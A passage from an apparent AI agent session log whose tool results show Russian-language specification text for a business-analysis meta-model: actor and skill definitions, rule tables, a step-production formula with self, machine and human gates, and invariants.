\u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u0435\u043c \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u2014 `Actor`. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u0435\u0437 \u043e\u0431\u043e\u0438\u0445 \u043f\u043e\u043b\u044e\u0441\u043e\u0432 \u043d\u0435\u043f\u043e\u043b\u043d\u043e. |\\n| `SY-3` | `System` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 (`MM-4`): \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0437\u0430\u0434\u043d\u0438\u043c \u0447\u0438\u0441\u043b\u043e\u043c. |\\n\\n### 2.2 `Actor` \u2014 \u043e\u0431\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430, \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u0438 \u0430\u0433\u0435\u043d\u0442\u0430\\n\\n`Actor` \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 0.1 \u043a\u0430\u043a \u00ab\u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433\u00bb. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442\\n\u0435\u0433\u043e \u0434\u043e **\u043e\u0431\u0449\u0435\u0433\u043e \u043f\u043e\u043d\u044f\u0442\u0438\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043b\u0438\u0446\u0430**: \u0438 \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443, \u0438\\n\u0442\u043e\u0433\u043e, \u0447\u044c\u044e \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435. \u041e\u0431\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0432\u0432\u0435\u0434\u0435\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\\nUML \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 \u0431\u0440\u0430\u043b\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u043b\u0438\u0446 \u0438\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0447\u043d\u044f, \u0430 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u043b\u0430\\n\u0438\u0445: \u0437\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b 5 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0441\u043f\u0438\u0446\u044b, \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u043f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438\\n\u0432 \u043c\u043e\u0434\u0435\u043b\u0438 (`D6`).\\n\\n| \u0420\u043e\u043b\u044c | \u0422\u0438\u043f | \u0413\u0434\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f |\\n| --- | --- | --- |\\n| `\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c` | \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u044c \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432 `A-US`, `A-UC`, \u0441\u0443\u0431\u044a\u0435\u043a\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 `System` |\\n| `\u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a` | \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0430\u0434\u0440\u0435\u0441\u0430\u0442 `A-QUEST`, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 |\\n| `\u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a` | \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c `G-human` |\\n| `\u0410\u0433\u0435\u043d\u0442` | AI-\u0430\u0433\u0435\u043d\u0442 | \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c `G-self` |\\n| `\u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440` | \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 | \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c `G-mach` |\\n\\n| \u041f\u0440\u0430\u0432\u0438\u043b\u043e | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 |\\n| --- | --- |\\n| `AC-1` | \u041f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0437\u0430\u0434\u0430\u0447\u0438 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432 `A-CORE` \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043d \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 `extract-actors`, \u0430 \u043d\u0435 \u043f\u043e\u0440\u043e\u0436\u0434\u0451\u043d. |\\n| `AC-2` | \u0410\u043a\u0442\u043e\u0440, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0432 `A-CORE`, \u043d\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445: \u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u0430 \u2014 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435 \u043c\u0435\u0441\u0442\u043e \u0432\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u043b\u0438\u0446. |\\n| `AC-3` | \u0420\u043e\u043b\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u0448\u0430\u0433\u0430 \u0438 \u0440\u043e\u043b\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043b\u0438\u0446\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u043c, \u0430 \u043d\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\u044e: \u043e\u0431\u0435 \u2014 `Actor`. |\\n\\n\u0422\u0435\u0440\u043c\u0438\u043d \u00ab\u0410\u043a\u0442\u043e\u0440\u00bb \u0432\u044b\u0431\u0440\u0430\u043d \u0441\u043e\u0437\u043d\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u043c\u0435\u0441\u0442\u043e \u00ab\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb \u0438 \u00ab\u0440\u043e\u043b\u044c\u00bb: \u043e\u043d \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442\\n\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0438 \u0430\u0433\u0435\u043d\u0442\u0430, \u0438 \u0432\u043d\u0435\u0448\u043d\u044e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443-\u043a\u043e\u043d\u0442\u0440\u0430\u0433\u0435\u043d\u0442\u0430, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u00ab\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb\\n\u0441\u0443\u0436\u0430\u0435\u0442 \u043f\u043e\u043d\u044f\u0442\u0438\u0435 \u0434\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430, \u0430 \u00ab\u0440\u043e\u043b\u044c\u00bb \u0443\u0436\u0435 \u0437\u0430\u043d\u044f\u0442\u0430 \u043f\u043e\u043b\u0435\u043c \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0430\u043c\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438.\\n\\n### 2.3 `Skill` \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n\\n\u0412\u0435\u0440\u0441\u0438\u044f 0.1 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0430 `Skill` \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 `Operation` \u0438 \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 \u0435\u043c\u0443 \u0432\\n\u0441\u0442\u0430\u0442\u0443\u0441\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u044d\u0442\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 **\u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442**. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0437\u0430\u043c\u0435\u0440 `D5`:\\n\u0441\u043f\u0438\u0446\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0448\u0435\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n`\u041f1`\u2013`\u041f6` \u0432 ADR-009, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c Source \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0438\\n\u0440\u0430\u0437\u0443. \u0423\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n`Skill` \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 `K-1` \u0432 \u043d\u043e\u0432\u043e\u0439 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0435: \u0434\u0432\u0435 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438, \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0435\u0441\u044f\\n\u043d\u0430\u0432\u044b\u043a\u043e\u043c, \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f **\u0442\u043e\u0447\u043a\u043e\u0439 \u0433\u0435\u0439\u0442\u0430 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f**. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0435\\n\u0432\u0435\u0442\u0432\u0438\u0442\u0441\u044f (`OA-2`) \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u044f; \u043d\u0430\u0432\u044b\u043a \u0438\u043c\u0435\u0435\u0442 \u0438 \u0442\u043e, \u0438\\n\u0434\u0440\u0443\u0433\u043e\u0435. \u0411\u0435\u0437 `Skill` \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u044b \u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u044f\u00bb \u0438\\n\u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c\u00bb.\\n\\n| \u041f\u0440\u0430\u0432\u0438\u043b\u043e | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 |\\n| --- | --- |\\n| `SB-0` | `\u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441` \u2014 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0438 \u0433\u0435\u0439\u0442\u043e\u043c, \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435. |\\n| `SB-1` | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443; \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0432\u044b\u0437\u043e\u0432\u043e\u043c, \u0430 \u043d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442. |\\n| `SB-2` | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d \u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f; \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0431\u0435\u0437 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d. |\\n| `SB-6` | `Skill` \u2014 **\u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438** \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432 \u0441\u0440\u0435\u0434\u0443, \u0430 \u043d\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c: \u043d\u0430\u0432\u044b\u043a \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u043b\u0438\u0431\u043e \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043b\u0438\u0431\u043e \u043e\u0434\u043d\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e ([ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md), `SF-1`, `SF-2`). |\\n\\n\u041f\u043e\u043b\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `SB-0`\u2013`SB-9` \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 `FM-1`\u2013`FM-5` \u2014\\n[`process-taxonomy/10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/10-theory.md), \u00a74.\\n\\n## 3. \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\\n\\n\u0415\u0434\u0438\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u2014 **\u0448\u0430\u0433**. \u0428\u0430\u0433 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d \u0442\u0430\u043a:\\n\\n```text\\nArtifact_in \u00d7 Product \u00d7 System \u00d7 Operation \u00d7 Actor\\n        \u2500\u2500 Contract \u2500\u2500\u25b6 Gate(G-self \u2192 G-mach \u2192 G-human)\\n        \u2500\u2500\u25b6 Artifact_out + Trace\\n```\\n\\n\u0428\u0430\u0433 \u2014 \u0435\u0434\u0438\u043d\u0438\u0446\u0430 **\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f**. \u041d\u0430\u0432\u044b\u043a \u2014 \u0435\u0434\u0438\u043d\u0438\u0446\u0430 **\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438**: \u043e\u043d \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u0442\\n\u0448\u0430\u0433\u0438 \u0432 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441 \u043e\u0431\u0449\u0438\u043c \u0433\u0435\u0439\u0442\u043e\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u0444\u043e\u0440\u043c\u0443\u043b\u0435 \u0448\u0430\u0433\u0430 \u043d\u0435 \u0443\u0447\u0430\u0441\u0442\u0432\u0443\u0435\u0442, \u043d\u043e\\n\u0437\u0430\u0434\u0430\u0451\u0442, \u0433\u0434\u0435 \u0433\u0435\u0439\u0442 \u0441\u0442\u0430\u0432\u0438\u0442\u0441\u044f. `System` \u0432\u043e\u0448\u043b\u0430 \u0432 \u0444\u043e\u0440\u043c\u0443\u043b\u0443 \u043a\u0430\u043a \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043e\u0431\u044a\u0435\u043a\u0442\\n\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f: \u0431\u0435\u0437 \u043d\u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430 \u043d\u0435 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f, \u0438\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0442\u0435\u0440\u044f\u0435\u0442 \u0441\u0443\u0431\u044a\u0435\u043a\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f (`SY-2`).\\n\\n\u0418\u0437 \u0437\u0430\u043a\u043e\u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n| \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 | \u0427\u0442\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 |\\n| --- | --- | --- |\\n| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b. |\",\n[2026-09-29T07:44:49.650Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:49.650Z] [INFO]       }\n[2026-09-29T07:44:49.650Z] [INFO]     ]\n[2026-09-29T07:44:49.650Z] [INFO]   },\n[2026-09-29T07:44:49.650Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:49.650Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:49.650Z] [INFO]   \"uuid\": \"94f33190-247e-4b67-9dd9-c1dafcba65e1\",\n[2026-09-29T07:44:49.650Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:49.601Z\",\n[2026-09-29T07:44:49.650Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:49.650Z] [INFO]     \"stdout\": \"    (`derived_from`, `EP-C6`, `SK-7`) \u0438 \u0437\u0430\u043f\u0440\u0435\u0442 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u0441\u044b\u043b\u043a\u043e\u0439\\n    \u00ab\u0442\u0430\u043a \u0441\u0434\u0435\u043b\u0430\u043d\u043e \u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u0435\u00bb\\n    ([ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)).\\n    \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e: 10 \u0438\u0437 12 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438\\n    \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432\u043e \u0432\u0441\u0435\u0445 24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445.\\n\\n12. **\u0410\u043a\u0442\u043e\u0440 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f, \u0430 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u0435\u0442\u0441\u044f.** `\u0410\u043a\u0442\u043e\u0440` \u2014 \u043e\u0431\u0449\u0435\u0435 \u043f\u043e\u043d\u044f\u0442\u0438\u0435\\n    \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043b\u0438\u0446\u0430: \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a, \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a, AI-\u0430\u0433\u0435\u043d\u0442, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440.\\n    \u041f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439\\n    `extract-actors` \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 `A-CORE`; \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f (\u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u0430\\n    \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f) \u0431\u0435\u0440\u0451\u0442 \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e\\n    \u043e\u0442\u0442\u0443\u0434\u0430. `\u0421\u0438\u0441\u0442\u0435\u043c\u0430` \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430\\n    ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a72.1\u2013\u00a72.2).\\n\\n## \u0427\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0444\u0430\u0439\u043b\u044b \u043c\u043e\u0434\u0443\u043b\u044f\\n\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 issue #563 | \u0413\u0434\u0435 \u0437\u0430\u043a\u0440\u044b\u0442 |\\n| --- | --- |\\n| 1. \u0414\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f `stepwise`/`oneshot`/`legacy` | 